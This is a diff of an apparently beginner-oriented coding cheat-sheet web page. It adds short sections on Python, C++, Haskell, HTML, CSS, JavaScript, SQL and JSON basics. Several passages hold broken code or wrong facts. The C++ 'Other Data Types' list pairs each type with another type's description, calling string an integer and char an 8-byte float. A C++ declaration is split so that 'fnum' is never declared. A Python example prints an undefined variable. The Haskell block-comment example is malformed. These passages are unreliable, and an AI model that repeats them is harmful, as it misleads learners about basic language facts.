-              <p>Sort the Result Set in Ascending or Descending Order</p>
-              <code>
-              SELECT c1, c2 FROM t<br>
-              ORDER BY c1 ASC [DESC];
-              </code><br><br>
-              <p>Skip Offset of Rows and Return the Next n Rows</p>
-              <code>
-              SELECT c1, c2 FROM t<br>
-              ORDER BY c1<br>
-              LIMIT n OFFSET offset;
-              </code><br><br>
-              <p>Group Rows using an Aggregate Function</p>
-              <code>
-              SELECT c1, aggregate(c2)<br>
-              FROM t<br>
-              GROUP BY c1;
-              </code><br><br>
-              <p>Filter Groups using <b>Having</b> Clause</p>
-              <code>
-              SELECT c1, aggregate(c2)<br>
-              FROM t<br>
-              GROUP BY c1<br>
-              HAVING condition;
-              </code><br><br>
+            <div id="com-3">
+              <h3>Comments</h3>
+              <p>You can write text that the program will ignore by beginning the line with a #, this helps with reminding you what certain code does or for explaining purposes. </p>
+<pre>
+<code> 
+# This is a comment 
+</code>  
+</pre>
             </div>
-            <div id="mod-9">
-              <h4>Modifying Data</h4>
-              <p>Insert One Row into a Table</p>
-              <code>
-              INSERT INTO t(column_list)<br>
-              VALUES(value_list);
-              </code><br><br>
-              <p>Insert Multiple Rows into a Table</p>
-              <code>
-              INSERT INTO t(column_list)<br>
-              VALUES (value_list), <br>
-              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(value_list), …;
-              </code><br><br>
-              <p>Insert Rows from t2 into t1</p>
-              <code>
-              INSERT INTO t1(column_list)<br>
-              SELECT column_list<br>
-              FROM t2;
-              </code><br><br>
-              <p>Update New Value in the Column c1 for All Rows</p>
-              <code>
-              UPDATE t<br>
-              SET c1 = new_value;
-              </code><br><br>
-              <p>Update Values in the Column c1, c2 that Match the Condition</p>
-              <code>
-              UPDATE t
-              SET c1 = new_value, <br>
-              &nbsp;&nbsp;&nbsp;&nbsp;c2 = new_value<br>
-              WHERE condition;
-              </code><br><br>
-              <p>Delete All Data in a Table</p>
-              <code>DELETE FROM t;</code>
-              <p>Delete Subset of Rows in a Table</p>
-              <code>
-              DELETE FROM t<br>
-              WHERE condition;
-              </code><br><br>
+            <div id="data-3">
+              <h3>Data Types</h3>
+              <p>Variables can store data of different types, and different types can do different things.</p>
+              <p>Python has the following data types built-in by default, in these categories: <br> Text Type: <code>str</code>
+                <br> Numeric Types: <code>int, float, complex</code>
+                <br> Sequence Types: <code>list, tuple, range</code>
+                <br> Mapping Type: <code>dict</code>
+                <br> Set Types: <code>set, frozenset</code>
+                <br> Boolean Type: <code>bool</code>
+                <br> Binary Types: <code>bytes, bytearray, memoryview</code>
+              </p>
+              <p>We will go more in-depth on some of these types in the next few sections.</p>
+              <p>You can print the data type of a variable with the <code>type()</code> function:</p>
+<pre>
+<code>
+x = 5 <br> print(type(x)) 
+</code> 
+</pre>
+            </div>
+            <div id="str-3">
+              <h3>Strings</h3>
+              <p>Strings are surrounded by either single quotation marks, or double quotation marks.:
+<pre>
+<code>  
+x = "hello" 
+y = 'hello'
+# single quotations and double quotation marks are the same
+x == y # returns True 
+</code>
+</pre>
+              <p>You can assign a multiline string to a variable by using three quotes: </p>
+<pre>
+<code> 
+x = """The FitnessGram Pacer test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter Pacer test will begin in 30 seconds."""  
+</code>
+</pre>
+              <p>You can check the length of a string using the len() function: </p>
+<pre>
+<code>  
+x = "hello" 
+print(len(text)) # returns 5
+</code>
+</pre>
             </div>
-            <div id="table-9">
-              <h4>Table Management</h4>
-              <p>Create a new Table with Three Columns</p>
-              <code>
-              CREATE TABLE t (<br>
-              &nbsp;&nbsp;id INT PRIMARY KEY,<br>
-              &nbsp;&nbsp;name VARCHAR NOT NULL,<br>
-              &nbsp;&nbsp;price INT DEFAULT 0<br>
-              );<br>
-              </code><br><br>
-              <p>Delete the Table from the Database</p>
-              <code>DROP TABLE t ;</code><br><br>
-              <p>Add a new Column to the Table</p>
-              <code>ALTER TABLE t ADD column;</code><br><br>
-              <p>Drop Column c from the Table</p>
-              <code>ALTER TABLE t DROP COLUMN c ;</code><br><br>
-              <p>Add a Constraint</p>
-              <code>ALTER TABLE t ADD constraint;</code><br><br>
-              <p>Drop a Constraint</p>
-              <code>ALTER TABLE t DROP constraint;</code><br><br>
-              <p>Rename a Table from t1 to t2</p>
-              <code>ALTER TABLE t1 RENAME TO t2;</code><br><br>
-              <p>Rename Column c1 to c2</p>
-              <code>ALTER TABLE t1 RENAME c1 TO c2 ;</code><br><br>
-              <p>Remove all Data in a Table</p>
-              <code>TRUNCATE TABLE t;</code>
+            <div id="num-3">
+              <h3>Numbers</h3>
+              <p>There are 2 primary, <code>int</code> and <code>float</code>
+              </p>
+<pre>
+<code> 
+x = 2   # int
+y = 2.8 # float 
+</code>
+</pre>
+              <p>To verify the type of an object in Python, use the type() function:</p>
+<pre>
+<code> 
+print(type(x)) 
+print(type(y)) 
+</code>
+</pre>
+              <p>Int, or integers, are whole numbers, positive or negative, without decimals.</p>
+              <p>Float is a number, positive or negative, containing one or more decimals.</p>
+              <p>Both strings and numbers are built-in data types.</p>
             </div>
           </Fragment>
         </Scrollspy>
       </div>
       <hr>
-      <div id="json">
-        <h2>JSON Basics</h2>
-        <Scrollspy id="json-basics-list"
-          scrollcontent={[
-            { name: "Example Documents", href: "#example-10" },
-            { name: "Importing JSON", href: "#import-10" },
+      <div id="cpp">
+        <h2> C++ Basics </h2>
+        <div class="d-flex flex-wrap gap-2 mb-3">
+          <a href="#cppresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">C++ Resources</a>
+          <a href="https://gist.github.com/VenenJean/8e8a0c7fcaee8713d8aaf7230b28d6b6" target="_blank" rel="noreferrer noopener" class="btn btn-info">VenenJean's Notes</a>
+        </div>
+        <Scrollspy id="cpp-basics-list" 
+          scrollcontent={[ 
+            { name: "Strings" , href: "#str-4" }, 
+            { name: "Integers" , href: "#integers-4" }, 
+            { name: "Print" , href: "#print-4" }, 
+            { name: "Other Data Types" , href: "#data-4" },
+            { name: "Comments" , href: "#comments-4" }
+          ]}
+        >
+          <Fragment slot="scrollspy-content">
+            <div id="strings-4">
+              <h3>Strings</h3>
+              <p> A string is a sequence of characters representing text. Strings are typically enclosed in quotation marks and can be stored in variables for later use in a program. </p>
+              <p>
+<pre>
+<code> 
+#include &lt;ostream&gt;
+#include &lt;string&gt;
+
+int main() &lbrace; 
+    // Declare a string variable
+    std&colon;&colon;string str = "codinghome"; 
+&rbrace; 
+</code>
+</pre>
+              </p>
+            </div>
+            <div id="integers-4">
+              <h3>Integers and Floating Point Numbers</h3>
+              <p>Simply said, Integers are used for numbers without a decimal, and Float is used for numbers with decimals, <b>simply said</b>. There is more to that but we are keeping it simple. </p>
+              <p>
+<pre>
+<code> 
+#include &lt;iostream&gt;
+
+int main() &lbrace; 
+  // Declare an integer variable 
+  int num = 10; 
+
+  // Declare a floating-point variable float 
+  fnum = 10.5; 
+&rbrace; 
+</code>
+</pre>
+              </p>
+            </div>
+            <div id="print-4">
+              <h3>Print</h3>
+              <p> Printing an output to the terminal/console: </p>
+<pre>
+<code>
+#include &lt;iostream&gt;
+
+int main() &lbrace;
+  // Declare an integer variable
+  int num = 10;
+  // Declare a floating-point variable
+  float fnum = 10.5;
+  
+  std::cout &lt;&lt; "num: " &lt;&lt; num &lt;&lt; std::endl; // &lt;-- Prints the integer variable (variable num)
+  std::cout &lt;&lt; "fnum: " &lt;&lt; fnum &lt;&lt; std::endl; // &lt;-- Prints the floating point variable (variable fnum)
+  
+  return 0;
+&rbrace;
+</code>
+</pre>
+            </div>
+            <div id="data-4">
+              <h3>Other Data Types</h3>
+              <p>As previously listed:</p>
+              <pre class="not-standalone"><code>string</code></pre> - Integers (whole number) (2 or 4 bytes).<br>
+              <pre class="not-standalone"><code>int</code></pre> - floating point number (4 bytes).<br>
+              <pre class="not-standalone"><code>float</code></pre> - Stores strings (Text) (use &apos;).<br><br>
+              <p>But there are other data types in C++, such as:</p>
+              <pre class="not-standalone"><code>double</code></pre> - Stores strings (Text) (use &quot;).<br>
+              <pre class="not-standalone"><code>char</code></pre> - floating point number (8 bytes).<br>
+              <pre class="not-standalone"><code>bool</code></pre> - true (1) or false (0) (1 byte).<br>
+              <br></div>
+            <div id="comments-4">
+              <h3>Comments</h3>
+              <p>Below is an example of comments.</p>
+<pre>
+<code>
+// This is a single line comment
+ /*
+  * This is a multi-line comment
+  * that spans multiple lines
+  */
+</code>
+</pre>
+            </div>
+          </Fragment>
+        </Scrollspy>
+      </div>
+      <hr>
+      <div id="hs">
+        <h2> Haskell Basics </h2>
+        <div class="mb-3">
+          <a href="#haskellresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">Haskell Resources</a>
+        </div>
+        <Scrollspy id="hs-basics-list" 
+          scrollcontent={[ 
+            { name: "Data Types" , href: "#data-5" }, 
+            { name: "Function Type Declartion" , href: "#ftd-5" }, 
+            { name: "Function Defintion" , href: "#fde-5" }, 
+            { name: "Functional Principles" , href: "#fpr-5" }, 
+            { name: "Comments" , href: "#com-5" }, 
           ]}
         >
           <Fragment slot="scrollspy-content">
-            <div id="example-10">
-              <h4>Example Document</h4>
-              <code>
-              &lbrace;<br>
-              &nbsp;&nbsp;"foo"&colon; "bar",<br>
-              &nbsp;&nbsp;"array"&colon; [<br>
-              &nbsp;&nbsp;&nbsp;&nbsp;"foo",<br>
-              &nbsp;&nbsp;&nbsp;&nbsp;"bar"<br>
-              &nbsp;&nbsp;]<br>
-              &rbrace;
-              </code><br><br>
-              <p>All JSON files are surrounded by &lbrace; and &rbrace;, which means it is a object. Unlike Javascript, you must use double quotes (") for strings, not singular quotes (')</p>
+            <div id="data-5">
+              <h3>Data Types</h3>
+              <p>In Haskell, types are how you describe the data your program will work with. Types can be simple, like:</p>
+              <ul>
+                <li>Bool: boolean True or False.</li>
+                <li>Char: one character.</li>
+                <li>Int: fixed-precision signed integer (usually 64-bit)</li>
+                <li>Float / Double: floating-point values.</li>
+              </ul>
+              <p>Or, they can be composed with constructs, like:</p>
+              <ul>
+                <li>String: shortcut for [Char].</li>
+                <li>[a] : list of <code>a</code>s (where a is a general type). </li>
+                <li>(a, b) : tuple composed of <code>a</code> and <code>b</code>
+                </li>
+                <li>Just a : Maybe monad with the <code>Just</code> option </li>
+              </ul>
+            </div>
+            <div id="ftd-5">
+              <h3>Function Type Declaration</h3>
+              <p>Haskell's functions will usually have 2 parts: a type declaration, and the implementation of the function itself (the type part can also be inferred):</p>
+<pre>
+<code> 
+-- type declaration 
+-- constraints =&gt; type -&gt; ... -&gt; returnType (the last type will always be the return type) 
+countIns :: Eq a =&gt; a -&gt; [a] -&gt; Int
+-- implementation 
+countIns x = length . filter (== x)
+</code>
+</pre>
+              <ul><li>Bool: boolean True or False.</li><li>Char: one character.</li><li>Int: fixed-precision signed integer (usually 64-bit)</li><li>Float / Double: floating-point values.</li>
+              </ul>
+              <p>Notice the type declaration has 2 types of "arrows": <code>=&gt;</code> and <code>-&gt;</code>. </p>
+              <ul><li>=&gt; : used for giving additional context of what rules <code>a</code> should follow (in the example above, we see a should be part of the <code>Eq</code> class, which allows for comparison)</li><li>-&gt; : used for actually declaring the type of the function (in the above example, we see the first argument is <code>a</code>, a general, comparable type, then a list of as and then finally it outputs an <code>Int</code>eger)</li>
+              </ul>
+            </div>
+            <div id="fde-5">
+              <h3>Function Definition</h3>
+              <p>Functions are defined similar to:</p> <pre class="not-standalone"><code>functionName argument(s) = expression</code></pre> <p>Haskell forces declarative style, so functions are (usually) composed of just an expression (always returns a value). </p>
+<pre><code> 
+-- type declaration 
+countIns :: Eq a =&gt; a -&gt; [a] -&gt; Int 
+-- implementation 
+-- function args = expression 
+countIns x = length . filter (== x) 
+</code></pre>
             </div>
-            <div id="import-10">
-              <h4>Importing JSON</h4>
-              <table class="table table-hover mb-1">
-                <tbody>
-                <tr>
-                  <th scope="row">JavaScript</th>
-                  <td class="text-break"><code class="position-static">fetch('example.json')</code></td>
-                </tr>
-                <tr>
-                  <th scope="row">Node.js</th>
-                  <td class="text-break"><code class="position-static">import('./example.json')</code></td>
-                </tr>
-                <tr>
-                  <th scope="row">TypeScript + Node.js</th>
-                  <td class="text-break"><code class="position-static">import data from 'example.json'</code></td>
-                </tr>
-                <tr>
-                  <th scope="row">Python</th>
-                  <td class="text-break"><code class="position-static">import 'json'; with open('data.json', 'r') as f: data = json.load(f)</code></td>
-                </tr>
-                </tbody>
-              </table>
+            <div id="fpr-5">
+              <h3>Functional Principles</h3>
+              <p>Haskell restricts to the functional paradigm, meaning Haskell enforces:</p>
+              <ul><li><b>Immutability:</b> when the <code>data</code> has to be defined again for it to "change"</li><li><b>Purity:</b> functions must be pure, producing no side-effects (like modifying a global variable), and must be deterministic (<code>f(x) = y</code>, no matter when <code>f</code> is called)</li><li><b>Higher-order functions:</b> functions must be first-class, meaning they can be passed as arguments to other functions. This allows for higher-order functions. which take a function and other data and apply the function to the data in different ways.</li><li><b>Disciplined state </b> trying to minimize the use of mutable state and trying to make it local when possible.</li>
+              </ul>
+            </div>
+            <div id="com-5">
+              <h3>Comments</h3>
+              <p>In-line comments are made with <code>--</code> and block comments with <code>&lbrace;- -&rbrace;</code>: </p>
+<pre>
+<code>
+-- inline
+commentHere = False &lbrace;
+- block commentHere = True -&rbrace; 
+</code>
+</pre>
             </div>
           </Fragment>
         </Scrollspy>
       </div>
-  </main>
-  <Footer author="Alex Toucan & CodingLive" />
+      <hr>
+      <div id="html">
+        <h2> HTML Basics </h2>
+        <div class="mb-3">
+          <a href="#webresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">Web Resources</a>
+        </div>
+        <Scrollspy id="html-basics-list"
+          scrollcontent={[
+            { name: "Example Document", href: "#example-6" },
+            { name: "HTML Headings", href: "#head-6" },
+            { name: "HTML Paragraphs", href: "#text-6" },
+            { name: "HTML Links", href: "#links-6" },
+            { name: "HTML Images", href: "#img-6" },
+          ]}
+        >
+              <Fragment slot="scrollspy-content">
+                <div id="example-6">
+                  <h3>Example Document</h3>
+<pre>
+<code>
+&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;body&gt;
+    &lt;h1&gt;My first Heading&lt;/h1&gt;
+    &lt;p&gt;My first paragraph&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</code>
+</pre>
+                  <p>The <code>&lt;!DOCTYPE&gt;</code> declaration represents the document type, and helps browsers to display web pages correctly. It must only appear once, at the top of the page (before any HTML tags). The <code>&lt;!DOCTYPE&gt;</code> declaration is not case sensitive. </p>
+                </div>
+                <div id="head-6">
+                  <h3>HTML Headings</h3>
+                  <p>HTML headings are defined with the <code>&lt;h1&gt;</code> to <code>&lt;h6&gt;</code> tags.
+                  <code>&lt;h1&gt;</code>defines the most important heading. <code>&lt;h6&gt;</code> defines the least important heading:<br>
+                  <code>&lt;h1&gt;Big&lt;/h1&gt;</code> <br>
+                  <code>&lt;h6&gt;Small&lt;/h6&gt;</code> </p>
+                </div>
+                <div id="text-6">
+                  <h3>HTML Paragraphs</h3>
+                  <p>HTML paragraphs are defined with the <code>&lt;p&gt;</code> tag:
+<pre>
+<code>
+&lt;p&gt;This is a paragraph.&lt;/p&gt;<br>
+&lt;p&gt;This is another paragraph.&lt;/p&gt;
+</code>
+</pre>
+                  </p>
+                </div>
+                <div id="links-6">
+                  <h3>HTML Links</h3>
+                  <p>HTML links are defined with the &lt;a&gt; tag:<br>
+                  <pre><code>&lt;a href="https://example.com"&gt;This is a link&lt;/a&gt;</code></pre></p>
+                </div>
+                <div id="img-6">
+                  <h3>HTML Images</h3>
+                  <p>HTML images are defined with the &lt;img&gt; tag. The source file (src), alternative text (alt), width, and height are provided as attributes:<br>
+                  <pre><code>&lt;img src="example.jpg" alt="example.com" width="104" height="142"&gt;</code></pre></p>
+                </div> 
+              </Fragment>
+            </Scrollspy>
+          </div>
+          <hr>
+          <div id="css">
+            <h2>CSS Basics</h2>
+            <div class="mb-3">
+              <a href="#webresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">Web Resources</a>
+              <a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/CSS_basics" target="_blank" rel="noreferrer noopener" class="btn btn-info">Source (Mozilla)</a>
+            </div>
+            <Scrollspy id="css-basics-list"
+            scrollcontent={[
+              { name: "Example Document", href: "#example-7" },
+              { name: "CSS Rulesets", href: "#rules-7" },
+              { name: "Selectors", href: "#selectors-7" },
+              { name: "Classes", href: "#classes-7" },
+              { name: "Text Elements", href: "#text-7" },
+              { name: "Padding Elements", href: "#pad-7" },
+              { name: "Color Elements", href: "#color-7" },
+              { name: "Comments", href: "#com-7" },
+              { name: "Extra: Centering Images", href: "#eci-7" },
+            ]}
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="example-7">
+                  <h3>Example Document</h3>
+<pre class="m-0">
+<code>
+h1 &lbrace;
+  color&colon; black;
+  text-align&colon; center;
+  font-size&colon; 26px;
+  font-family&colon; verdana;
+&rbrace;
+</code>
+</pre>
+<pre><code>&lt;p style="font-size:10px"&gt;</code></pre>
+                  <p>To put CSS files in HTML, use:</p>
+                  <pre><code>&lt;link rel="stylesheet" href="style.css"&gt;</code></pre>
+                  <p>To put CSS code in HTML, use:</p>
+<pre>
+<code>
+&lt;style&gt;
+  .class &lbrace;
+    color: red;
+  &rbrace;
+&lt;/style&gt;
+</code>
+</pre>
+                </div>
+                <div id="rules-7">
+                  <h3>CSS Rulesets</h3>
+                  <p>
+                  </p><div class="d-flex"><div class="col-4"><p>Selector</p></div><div class="col"><div class="me-auto"><pre class="not-standalone"><code class="not-standalone">p &lbrace; </code></pre></div></div></div>
+                  <div class="d-flex"><div class="col-4"><p>Property</p></div><div class="col"><div class="me-auto"><pre class="not-standalone"><code class="not-standalone">  color&colon; red; </code></pre></div></div></div>
+                  <div class="d-flex"><div class="col-4"><p>Declaration</p></div><div class="col"><div class="me-auto"><pre class="not-standalone"><code class="not-standalone">&rbrace;</code></div></div></div>  
+                  <p></p>
+                  <p><b>Properties</b> - With these, you can style a HTML element, like for example; color. <br>
+                  <b>Property Value</b> - This chooses one of the possible options for a given property, like red for color.</p>
+                  <p>You can also write CSS like:</p> 
+                  <pre><code>html&lbrace;color&colon;red;&rbrace;</code></pre>
+                  <p>You can also put styles in HTML elements:</p>
+                  <pre><code>&lt;h1 style="font-color:white;"&gt;</code></pre>
+                  <p>You can also select multiple elements with commas at once like...</p>
+<pre>
+<code>
+h1, h4, h6, h2 &lbrace;
+  color&colon; red;
+&rbrace;
+</code>
+</pre><br><br>
+                </div>
+                <div id="classes-7">
+                  <h3>Classes</h3>
+                  <p>Think of classes like custom HTML elements, they can be applied in HTML:</p>
+                  <pre><code>&lt;p class="text-red"&gt;</code></pre>
+                  <p>Classes begin with a dot or period (.) to begin the selector.</p>
+<pre>
+<code>
+.text-red &lbrace;
+  color&colon; red;
+&rbrace;
+</code>
+</pre><br><br>
+                </div>
+                <div id="selectors-7">
+                  <h3>Selectors</h3>
+                  <p>There are more ways to select elements and classes apart from their name. Here's some common ones:</p>
+                  <pre class="not-standalone"><code>&colon;hover</code></pre> - Applies the CSS rules if the element is selected.<br>
+                  <pre class="not-standalone"><code>&colon;first-child</code></pre> - Selects the first child element if it is inside a parent element.<br>
+                  <pre class="not-standalone"><code>&colon;last-child</code></pre> - Selects the last child element if it is inside a parent element.<br>
+                  <pre class="not-standalone"><code>&colon;nth-child(n)</code></pre> - Selects elements based on position, replace <code>n</code> with a number.<br>
+                  <pre class="not-standalone"><code>&colon;focus</code></pre> - Selects elements if it is focused, usually by using the <code>TAB</code>. <br>
+                  <pre class="not-standalone"><code>&colon;has(+ element)</code></pre> - Selects the element if the selected element is before it.<br><br>
+                </div>
+                <div id="text-7">
+                  <h3>Text Elements</h3>
+                  <pre class="not-standalone"><code>font-size&colon; 10px;</code></pre> - Text size, can be in pixels.<br>
+                  <pre class="not-standalone"><code>font-family&colon; verdana;</code></pre> - Fonts<br>
+                  <pre class="not-standalone"><code>text-align&colon; center;</code></pre> - Can align to the left side, right side, or in the center of the webpage. <br>
+                  <pre class="not-standalone"><code>text-shadow&colon; 3px black</code></pre> - Shadow of text. It can be in pixels and colors.<br><br>
+                </div>
+                <div id="pad-7">
+                  <h3>Padding Elements</h3>
+                  <pre class="not-standalone"><code>padding-top&colon; 50px;</code></pre> - Separation. It can be top, left, right, and bottom in pixels.<br>
+                  <pre class="not-standalone"><code>margin&colon; 50px;</code></pre> - A margin. It can be in pixels.<br>
+                  <pre class="not-standalone"><code>border-width&colon; 5px;</code></pre> - Border width. Can be thin, medium, thick, or just pixels.<br>
+                  <pre class="not-standalone"><code>border-style&colon; dotted;</code></pre> - Border style. Can be dotted, dashed, solid, double, groove, ridge, inset, outset, none, or hidden. Can also be colored.<br>
+                  <pre class="not-standalone"><code>width=500px;</code></pre> - Width of the element. It can be pixels or percentages.
+                </div>
+                <div id="color-7">
+                  <h3>Color Elements</h3>
+                  <p><pre class="not-standalone"><code>color&colon; red;</code></pre> - The color of the element, can be hexadecimal, or RGB.<br>
+                    <pre class="not-standalone"><code>background-color&colon; white;</code></pre> - Background color of the element.<br><br>
+                </div>
+                <div id="com-7">
+                  <h3>Comments</h3>
+                  <p>Comments are commonly used to explain the code and may help when you edit the source code later and are ignored by browsers.
+                  <br><br>
+                  A CSS comment starts with <code>/*</code> and ends with <code>*/</code>, and no changes are needed to make it multiple lines.</p>
+<pre>
+<code>
+/* This is a single-line comment */
+
+/* This is
+a multi-line
+comment */
+</code>
+</pre><br><br>
+                </div>
+                <div id="eci-7">
+                  <h3>Extra: Centering Images</h3>
+<pre>
+<code>
+img &lbrace;
+  margin&colon; 0 auto;
+  display&colon; block;
+&rbrace;
+</code>
+</pre>
+                </div>
+              </Fragment>
+            </Scrollspy>
+          </div>
+          <hr>
+          <div id="js">
+            <h2>JavaScript Basics</h2>
+            <Scrollspy id="js-basics-list"
+            scrollcontent={[
+              { name: "Including JavaScript in an HTML Page", href: "#html-8" },
+              { name: "Call an External JavaScript File", href: "#call-8" },
+              { name: "Including Comments", href: "#com-8" },
+              { name: "Variables", href: "#var-8" },
+              { name: "Data Types", href: "data-8" },
+            ]}
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="html-8">
+                  <h3>Including JavaScript in an HTML Page</h3>
+                  <p>
+<pre>
+<code>
+&lt;script type="text/javascript"&gt;
+  //JS code goes here 
+&lt;/script&gt; 
+</code>
+</pre>
+                  </p>
+                </div>
+                <div id="call-8">
+                  <h3>Call an External JavaScript File</h3>
+                  <p>
+<pre>
+<code>
+&lt;script src="myscript.js"&gt;&lt;/script&gt;
+</code>
+</pre>
+                  </p>
+                </div>
+                <div id="com-8">
+                  <h3>Including Comments</h3>
+                  <p>Single line comments - <code>// Comment</code> <br>
+                  Multi-line comments - <code>/* comment here */</code></p>
+                </div>
+                <div id="var-8">
+                  <h3>Variables</h3>
+                  <p>
+                  <code>var, const, let</code><br>
+                  <code>var</code> — The most common variable. It can be reassigned but only accessed within a function. Variables defined with var move to the top when code is executed.<br>
+                  <code>const</code> — Can not be reassigned and not accessible before they appear within the code.<br>
+                  <code>let</code> — Similar to const, however, let variable can be reassigned but not re-declared.<br>
+                  </p>
+                </div>
+                <div id="data-8">
+                  <h3>Data Types</h3>
+                  <p>
+                  Numbers — <pre class="not-standalone"><code>var age = 23</code></pre> <br>
+                  Variables — <pre class="not-standalone"><code>var x</code></pre><br>
+                  Text (strings) — <pre class="not-standalone"><code>var a = "init"</code></pre><br>
+                  Operations — <pre class="not-standalone"><code>var b = 1 + 2 + 3</code></pre><br>
+                  True or false statements — <pre class="not-standalone"><code>var c = true</code></pre><br>
+                  Constant numbers — <pre class="not-standalone"><code>const PI = 3.14</code></pre><br>
+                  Objects — <pre class="not-standalone"><code>var name = &lbrace;firstName&colon; "John", lastName&colon; "Doe"&rbrace;</code></pre>
+                  </p>
+  
+                  <p><b>Objects Example</b> <br>
+<pre>
+<code>
+var person = &lbrace;
+  firstName&colon; "John",
+  lastName&colon; "Doe",
+  age&colon; 20,
+  nationality&colon; "American"
+&rbrace;
+</code>
+</pre>
+                  </p>
+                </div>
+              </Fragment>
+            </Scrollspy>
+        </div>
+        <hr>
+        <div id="sql">
+          <h2>SQL Basics</h2>
+          <div class="mb-3">
+            <a href="#sqlresources" target="_blank" rel="noreferrer noopener" class="btn btn-info">SQL Resources</a>
+          </div>
+          <Scrollspy id="sql-basics-list"
+            scrollcontent={[
+              { name: "Querying Data from a Tablem", href: "#query-9" },
+              { name: "Modifying Data", href: "#mod-9" },
+              { name: "Table Management", href: "#table-9" },
+            ]}
+          >
+            <Fragment slot="scrollspy-content">
+              <div id="query-9">
+                <h3>Querying Data from a Table</h3>
+                <p>Query Data in Columns c1, c2 from a Table</p>
+<pre><code>
+SELECT c1, c2 FROM t;
+</code></pre><br><br>
+                <p>Query All Rows and Columns from a Table</p>
+<pre><code>SELECT * FROM t;</code></pre><br><br>
+                <p>Query Data and Filter Rows with a Condition</p>
+<pre><code>
+SELECT c1, c2 FROM t
+WHERE condition;
+</code></pre><br><br>
+                <p>Query Distinct Rows from a Table</p>
+<pre><code>
+SELECT DISTINCT c1 FROM t
+WHERE condition;
+</code></pre><br><br>
+                <p>Sort the Result Set in Ascending or Descending Order</p>
+<pre><code>
+SELECT c1, c2 FROM t<br>
+ORDER BY c1 ASC [DESC];
+</code></pre><br><br>
+                <p>Skip Offset of Rows and Return the Next n Rows</p>
+<pre><code>
+SELECT c1, c2 FROM t
+ORDER BY c1
+LIMIT n OFFSET offset;
+</code></pre><br><br>
+                <p>Group Rows using an Aggregate Function</p>
+<pre><code>
+SELECT c1, aggregate(c2)
+FROM t
+GROUP BY c1;
+</code></pre><br><br>
+                <p>Filter Groups using <b>Having</b> Clause</p>
+<pre><code>
+SELECT c1, aggregate(c2)
+FROM t
+GROUP BY c1
+HAVING condition;
+</code></pre><br><br>
+              </div>
+              <div id="mod-9">
+                <h3>Modifying Data</h3>
+                <p>Insert One Row into a Table</p>
+<pre><code>
+INSERT INTO t(column_list)
+VALUES(value_list);
+</code></pre><br><br>
+                <p>Insert Multiple Rows into a Table</p>
+<pre><code>
+INSERT INTO t(column_list)<br>
+VALUES (value_list),
+(value_list), …;
+</code></pre><br><br>
+                <p>Insert Rows from t2 into t1</p>
+<pre><code>
+INSERT INTO t1(column_list)
+SELECT column_list
+FROM t2;
+</code></pre><br><br>
+                <p>Update New Value in the Column c1 for All Rows</p>
+<pre><code>
+UPDATE t
+SET c1 = new_value;
+</code></pre><br><br>
+                <p>Update Values in the Column c1, c2 that Match the Condition</p>
+<pre><code>
+UPDATE t
+SET c1 = new_value,
+c2 = new_value
+WHERE condition;
+</code></pre><br><br>
+                <p>Delete All Data in a Table</p>
+<pre><code>DELETE FROM t;</code></pre>
+                <p>Delete Subset of Rows in a Table</p>
+<pre><code>
+DELETE FROM t
+WHERE condition;
+</code></pre><br><br>
+              </div>
+              <div id="table-9">
+                <h3>Table Management</h3>
+                <p>Create a new Table with Three Columns</p>
+<pre>
+<code>
+CREATE TABLE t (
+  id INT PRIMARY KEY,
+  name VARCHAR NOT NULL,
+  price INT DEFAULT 0
+);<br>
+</code></pre><br><br>
+                <p>Delete the Table from the Database</p>
+<pre><code>DROP TABLE t ;</code></pre><br><br>
+                <p>Add a new Column to the Table</p>
+<pre><code>ALTER TABLE t ADD column;</code></pre><br><br>
+                <p>Drop Column c from the Table</p>
+<pre><code>ALTER TABLE t DROP COLUMN c ;</code></pre><br><br>
+                <p>Add a Constraint</p>
+<pre><code>ALTER TABLE t ADD constraint;</code></pre><br><br>
+                <p>Drop a Constraint</p>
+<pre><code>ALTER TABLE t DROP constraint;</code></pre><br><br>
+                <p>Rename a Table from t1 to t2</p>
+<pre><code>ALTER TABLE t1 RENAME TO t2;</code></pre><br><br>
+                <p>Rename Column c1 to c2</p>
+<pre><code>ALTER TABLE t1 RENAME c1 TO c2 ;</code></pre><br><br>
+                <p>Remove all Data in a Table</p>
+<pre><code>TRUNCATE TABLE t;</code></pre>
+              </div>
+            </Fragment>
+          </Scrollspy>
+        </div>
+        <hr>
+        <div id="json">
+          <h2>JSON Basics</h2>
+          <Scrollspy id="json-basics-list"
+            scrollcontent={[
+              { name: "Example Documents", href: "#example-10" },
+              { name: "Importing JSON", href: "#import-10" },
+            ]}
+          >
+            <Fragment slot="scrollspy-content">
+              <div id="example-10">
+                <h3>Example Document</h3>
+<pre>
+<code>
+&lbrace;
+  "foo"&colon; "bar",
+  "array"&colon; [
+  "foo",
+  "bar"
+  ]
+&rbrace;
+</code>
+</pre>
+                <p>All JSON files are surrounded by &lbrace; and &rbrace;, which means it is a object. Unlike Javascript, you must use double quotes (") for strings, not singular quotes (')</p>
+              </div>
+              <div id="import-10">
+                <h3>Importing JSON</h3>
+                <table class="table table-hover mb-2">
+                  <tbody>
+                  <tr>
+                    <th scope="row">JavaScript</th>
+                    <td class="text-break"><pre class="not-standalone"><code class="not-standalone">fetch('example.json')</code></pre></td>
+                  </tr>
+                  <tr>
+                    <th scope="row">Node.js</th>
+                    <td class="text-break"><pre class="not-standalone"><code class="not-standalone">import('./example.json')</code></pre></td>
+                  </tr>
+                  <tr>
+                    <th scope="row">TypeScript + Node.js</th>
+                    <td class="text-break"><pre class="not-standalone"><code class="not-standalone">import data from 'example.json'</code></pre></td>
+                  </tr>
+                  <tr>
+                    <th scope="row">Python</th>
+                    <td class="text-break"><pre class="not-standalone"><code class="not-standalone">import 'json'; with open('data.json', 'r') as f: data = json.load(f)</code></pre></td>
+                  </tr>
+                  </tbody>
+                </table>
+              </div>
+            </Fragment>
+          </Scrollspy>
+        </div>
+      </main>
+    <Footer author="Alex Toucan & CodingLive" />
+  </div>
   <BackToTop />
